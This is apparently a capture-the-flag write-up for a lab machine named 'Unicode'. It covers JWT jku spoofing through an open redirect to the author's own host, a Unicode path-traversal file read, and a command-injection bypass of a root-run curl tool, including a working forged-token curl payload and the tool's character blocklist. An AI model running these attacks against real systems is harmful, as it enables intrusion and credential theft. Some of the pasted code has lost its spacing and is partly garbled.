$ nmap -p- --min-rate 5000 10.129.246.167
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-08 08:22 EDT
Nmap scan report for 10.129.246.167
Host is up (0.022s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Hackmedia JKU Spoofing
The website was a corporate page for a threat analytics company:
If we click Google about us, it redirects us using this URL:
http://10.129.246.167/redirect/?url=google.com
This might be vulnerable to SSRF, but let's first add hackmedia.htb to our /etc/hosts file and register a user on the site. Upon accessing the dashboard, we see that we have a few functions:
When the request is viewed in Burp, we can see it uses a JWT token:
GET /dashboard/ HTTP/1.1Host:10.129.246.167User-Agent:Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language:en-US,en;q=0.5Accept-Encoding:gzip, deflateReferer:http://10.129.246.167/login/Connection:closeCookie: auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly9oYWNrbWVkaWEuaHRiL3N0YXRpYy9qd2tzLmpzb24ifQ.eyJ1c2VyIjoidGVzdDEyMyJ9.GH9NHOQuud4tOr1Ax-Gaavfnkae2D0qqjFet8bXweBQdF7xs7zKlHPQuw0p00BP7zc9zaRwdtTr7XLvdK2qnG9YRdd0Qi6asBs15OzPz32qrIcIatLMSyGoEE-UTSg9WrnKkx7OHrIAChGc2PXY0EaoViN9nUhpezUDIZ1JIvIIE_6WkGxEJlETCHJjXX8nxHMEwAJlk1W9tAEVusHPcSBB3m-uFGjxS8IVOshNPDFrm_YMS8Q0fJrzSevCTOew0pf8pC5CZodLB-iHTMQlbdD3mBDMrsPt5bbQqX5UGBXsq7Q10QzJ9PDUrYLiLyzfDxKdzMg_bIPBfp58I8K_A7g
Upgrade-Insecure-Requests:1
When decoded on jwt.io, we can see that it contains the username field and is signed via RSA.
Interesting! There's also a jku field with a URL to the site. When viewed, it appears to contain the public key of the JWT token:
When researching for exploits pertaining to jku, I came across this:
Basically, the exploit requires us to generate a private-public key pair, and use that to spoof tokens after replacing the jku parameter with a URL to our machine's own jwk.json file. So first, we need to generate a key pair:
Afterwards, we can head back to jwt.io and create a new token with a new URL. Since there's a redirect functionality available, I'll just use that to make it request the jwks.json file to our machine. Then, we can also change the username to admin.
Then we need to create the jwks.json file. This can be done by first downloading the format from the machine, and then replacing the values in it with our own key pair's.
When we refresh the page, we get a hit on our HTTP server for the jwks.json file and that the dashboard is different:
Unicode LFI
Under the Saved Reports portion, when we try to view a few files, we are redirected to this site:
http://10.129.246.167/display/?page=monthly.pdf
This looks vulnerable to LFI, so I tried to view the /etc/passwd file but it didn't work.
Looks like it isn't processing. Now because this box was literally named Unicode, we might have to use Unicode characters to make this work. When we use this payload, the LFI works:
Now with an LFI, let's try to read the nginx configuration files since this was an Nginx server.
$ curl -H 'Cookie: auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly9oYWNrbWVkaWEuaHRiL3N0YXRpYy8uLi9yZWRpcmVjdC8_dXJsPTEwLjEwLjE0LjEzL2p3a3MuanNvbiJ9.eyJ1c2VyIjoiYWRtaW4ifQ.BTblX6M82Za_sh8hvEuUHdrArVmK-zLFphwUfpEB9Vuib6dfiZ5_RXqZYwmI-uo1NSl-pKXxB6shhB57oFG2pSH5AjU6Cxk6HqvgTBMNIdFjaoGdj4uyq3FgYuH8VN8PxUMXhf6MwkpBrd-hh-yJ32xRFV-Z_uIqTc1Rue5ImLvTVAQ1434ZUjCkKzsMUKPa-PI8pXLWmR2MGpvRBbUd7xSth2tVOpgnK9u0h09xh-2kE3YjopdxeNAfokXJUshfL5tUX_BTHY0-10KvDb3amfWTGUoRruyUSTdWm5-H1PAtbvOJ3-Uo_EkwVPIbwEr3g51yR-ZvAMfLkInG-LQNiw' http://10.129.246.167/display/?page=%E2%80%A5/%E2%80%A5/%E2%80%A5/%E2%80%A5/etc/nginx/sites-available/default
limit_req_zone $binary_remote_addr zone=mylimit:10mrate=800r/s;server{#Change the Webroot from /home/code/app/ to /var/www/html/#change the user password from db.yamllisten80;error_page503/rate-limited/;location/{limit_reqzone=mylimit;proxy_passhttp://localhost:8000;include/etc/nginx/proxy_params;proxy_redirectoff; }location/static/{alias/home/code/coder/static/styles/; }}
db.yaml? This is located within /home/code/coder/db.yaml.
Using this password, we can login as code using ssh.
Privilege Escalation
Treport
When checking sudo privileges, we find that we can run treport as root.
code@code:~$ sudo -l
Matching Defaults entries for code on code:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User code may run the following commands on code:
(root) NOPASSWD: /usr/bin/treport
Running a quick file and strings reveals this is a compiled Python script.
So we can download this binary back to our machine for reverse engineering. First, we can use pyinstxtractor to convert this to bytecode, and then pycdc to convert it to a script.
# Source Generated with Decompyle++# File: treport.pyc (Python 3.8)import osimport sysfrom datetime import datetimeimport reclassthreat_report:defcreate(self): file_name =input('Enter the filename:') content =input('Enter the report:')if'../'in file_name:print('NOT ALLOWED') sys.exit(0) file_path ='/root/reports/'+ file_name# WARNING: Decompyle incompletedeflist_files(self): file_list = os.listdir('/root/reports/') files_in_dir =' '.join((lambda.0: [ str(elem) for elem in.0 ])(file_list))print('ALL THE THREAT REPORTS:')print(files_in_dir)defread_file(self): file_name =input('\nEnter the filename:')if'../'in file_name:print('NOT ALLOWED') sys.exit(0) contents ='' file_name ='/root/reports/'+ file_name# WARNING: Decompyle incompletedefdownload(self): now = datetime.now() current_time = now.strftime('%H_%M_%S') command_injection_list = ['$','`',';','&','|','||','>','<','?',"'",'@','#','$','%','^','(',')'] ip =input('Enter the IP/file_name:') res =bool(re.search('\\s', ip))if res:print('INVALID IP') sys.exit(0)if'file'in ip and'gopher'in ip or'mysql'in ip:print('INVALID URL') sys.exit(0)forvarsin command_injection_list:ifvarsin ip:print('NOT ALLOWED') sys.exit(0)continue cmd ='/bin/bash -c "curl '+ ip +' -o /root/reports/threat_report_'+ current_time +'"' os.system(cmd)returnNoneif__name__=='__main__': obj =threat_report()print('1.Create Threat Report.')print('2.Read Threat Report.')print('3.Download A Threat Report.')print('4.Quit.') check =Trueif check: choice =input('Enter your choice:')try: choice =int(choice)finally:passprint('Wrong Input') sys.exit(0)if choice ==1: obj.create()continueif choice ==2: obj.list_files() obj.read_file()continueif choice ==3: obj.download()continueif choice ==4: check =Falsecontinueprint('Wrong input.')continue
There's a possible Command Injection point here:
vfor varsin command_injection_list:ifvarsin ip:print('NOT ALLOWED') sys.exit(0)continue cmd ='/bin/bash -c "curl '+ ip +' -o /root/reports/threat_report_'+ current_time +'"' os.system(cmd)returnNone
The ip variable is passed into a shell command, and it uses curl. However, there is a check for bad characters and it covers all of them. In this case, we can use the -K flag from curl, which would allow us to specify configurations for it. Furthermore, the { character has not been whitelisted, allowing us to abuse Brace Expansion.
We can use this to read files like the id_rsa of root.
We can transfer this to our machine and begin to convert it to the correct format and then use it to ssh in as root. I admit, I got a bit lazy and just read the root flag.